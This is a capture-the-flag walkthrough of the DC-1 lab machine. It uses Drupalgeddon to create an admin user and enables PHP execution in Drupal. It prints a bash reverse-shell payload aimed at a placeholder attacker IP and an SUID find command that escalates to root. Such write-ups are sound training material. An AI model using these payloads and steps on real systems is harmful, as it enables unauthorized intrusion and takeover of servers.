DC-1 is community rated Easy box on Offensive Security’s Proving Grounds Play. This was formerly a vulnhub box. I’ll show how to exploit this machine both manually and with Metasploit.
Enumeration
I first start with my regular nmap scan.
sudo nmap -sC -sV -A -vv 192.168.212.193 --open
I like to use the -vv verbose flag to see open ports right away. Within a couple of seconds I see 22, 80 and 111 are open. When navigating to port 80 we are greeted with a default Drupal CMS page.
I first try to see if there is a robots.txt file, and I discover one and try to visit a few directories but it doesn’t look helpful.
Next I try some generic username and password combinations like admin|admin, admin|password, drupal|drupal and more. None of these work. I quickly research if there is a default password for fresh Drupal installations and I find that there are no default passwords when installing Drupal.
Now I try to find the version number of Drupal, and look at the page source. I discover that it is Drupal 7.
Searching google and Drupal 7 shows an exploit called Drupalgeddon. I search for it using searchsploit and discover multiple exploits. The first one listed “Add Admin User” sounds promising. It’s ExploitDB ID 34992. The full exploit code is available here.
The Drupalgeddon exploit is an SQL injection that adds a new administrator user by an anonymous user. A vulnerability in a database abstraction API that is meant to sanitize against SQL injection attacks, allows an attacker to send specially crafted requests resulting in SQL execution.
Reading the exploit shows that it allows us to add a new admin user with username and password of our choosing.
After executing the exploit it outputs that it was successful. After navigating to the supplied URL, we successfully log in as our newly created admin user.
I’ve used Drupal a bit years ago when I worked on websites, and have also encountered it a few times in CTFs. But I’m not that familiar with how it works or how to exploit it. I poke around a bit to see if I find any interesting files. Then I look at a Drupal hacktricks page to see how I can execute code to gain a reverse shell. If we enable the PHP Filter module, we can force Drupal to execute PHP code in a post or page.
The PHP filter module was disabled. I enable it and create a “Basic Page” or “Article” that contains a PHP snippet to launch a reverse shell. But I noticed that I didn’t have the option to set the Text Format to PHP. After researching some more, I see that I needed to go to Configuration > Content Authoring > Text Formats and enable the administrator role.
After enabling PHP code for the administrator role, I now see the PHP code format available when creating a new Article.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1'");
Then we start a netcat reverse listener to catch the shell before visiting the newly created post.
nc -nvlp 4444
We instantly get a shell back as www-data. Since www-data isn’t a “real” linux user, we don’t have a home directory to enumerate. Notice a user called flag4, but don’t see much of interest in their home directory.
I first check if www-data has any sudo privileges, which is probably unlikely. And we don’t see any.
find / -perm -u=s -type f 2>/dev/null
Then I check to see if there are any SUID binaries. After scanning through the list, I noticed that find was included. I quickly checked GTFObins and found that we could use this misconfiguration to break out of a restricted shell.
find . -exec /bin/sh \; -quit
After executing this command we have root access and can have full control over the system.
Using Metasploit
I’ll quickly show how we can use Metasploit to exploit the machine more quickly and instantly get back a reverse shell.
Configuring the Metasploit module is very straightforward. We quickly receive back a meterpreter sesssion. From here, we could priv esc with the SUID find binary just as we did manually.
